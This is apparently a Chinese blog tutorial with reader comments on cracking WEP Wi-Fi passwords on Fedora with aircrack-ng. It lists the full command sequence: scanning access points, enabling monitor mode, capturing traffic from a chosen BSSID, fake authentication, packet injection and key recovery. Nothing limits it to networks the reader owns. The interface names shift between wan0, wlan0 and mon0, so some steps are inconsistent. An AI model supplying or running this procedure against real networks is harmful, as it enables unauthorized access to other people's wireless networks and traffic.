fedora 如何使用 aircrack-ng 工具包破解 wep 无线密码

一、安装 aircrack-ng工具包

sudo yum install -y aircrack-ng

二、破解过程
1、查看无线网卡信息
执行 ifconfig 命令,从找到无线网卡的设备名称, MAC 地址,一般无线设备名称都是 wan0,下文就以 wan0 为例

2、扫描无线能接收到信号的无线接入点(AP)

sudo iwlist wan0 scan

不如我选取我的无线网络中信号最好的 AP,ESSID 为dlink
记录此 AP 的 ESSID 、BSSID、Channel信息

3、打开无线网卡的监控模式,并记录下当前无线网卡的端口,我这里是 mon0

sudo airmon-ng start wlan0
以下是输出信息
Interface	Chipset		Driver

wlan0		Atheros 	ath9k - [phy0]
				(monitor mode enabled on mon0)

4、查找采用 wep 加密的 AP

sudo airodump-ng wan0

找到我们需要的之后再按 ctrl+c 退出

5、抓包
开一个终端,执行:

sudo airodump-ng -c 6 --bssid AP的MAC -w wep wan0
#-c 6               6是要破解的AP工作频道
#--bissid AP的MAC   指定是要破解 AP的 MAC地址
#-w wep             wep为抓取的数据包保存的文件名

6、与 AP建立虚拟连接
打开一个新终端

sudo aireplay-ng -1 0 -a AP的MAC -h 本机无线网卡的MAC wan0 

7、注入
步骤 6 成功执行之后再执行

sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b AP的MAC -h 本机无线网卡的MAC wan0 

8、解密
收集有 5000个以上的DATA之后,新开一个终端执行:

sudo aircrack-ng wep*.cap 

如果得出结果就继续等,aircrack-ng 会在DATA每增加多5000个之后就再次计算直到得到结果

9、破解出密码之后停用网卡的监控模式

sudo airmon-ng stop wan0

3 Comments

  1. iansiu
    Posted 2014 年 7 月 17 日 at 下午 11:18 | Permalink

    你好,我执行:sudo airodump-ng mon0 的时候,提示:ioctl(SIOCSIFFLAGS) failed: Name not unique on network
    请问这个怎么解决呢?

  2. zpz
    Posted 2014 年 7 月 18 日 at 上午 11:45 | Permalink

    你的无线设备名称是不是 wlan0
    试试
    sudo airodump-ng wlan0

  3. iansiu
    Posted 2014 年 7 月 20 日 at 上午 12:30 | Permalink

    我的设备名是:wlo1
    [iansiu@iansiu-fedora ~]$ sudo airmon-ng start wlo1

    Found 7 processes that could cause trouble.
    If airodump-ng, aireplay-ng or airtun-ng stops working after
    a short period of time, you may want to kill (some of) them!

    PID Name
    786 avahi-daemon
    787 avahi-daemon
    990 NetworkManager
    1361 wpa_supplicant
    1628 dhclient
    3174 dhclient
    3229 dhclient

    Interface Chipset Driver

    wlo1 Atheros AR9285 ath9k – [phy0]SIOCSIFFLAGS: Name not unique on network

    (monitor mode enabled on mon0)

Post a Comment

Your email is never shared. Required fields are marked *

*
*